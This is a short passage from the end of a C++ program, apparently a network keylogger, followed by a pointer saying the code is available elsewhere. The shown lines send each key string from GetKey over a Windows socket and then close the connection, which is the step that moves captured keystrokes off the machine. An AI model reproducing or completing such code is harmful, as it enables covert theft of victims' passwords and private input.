				TempString = GetKey (i); 
				int smsg=send(u_sock, TempString.c_str(), TempString.length(), 0);
				if(smsg==SOCKET_ERROR)
					WSACleanup();
			} 
		} 
	}
	closesocket(u_sock);
	return 1; 
}  

The code can also be found here.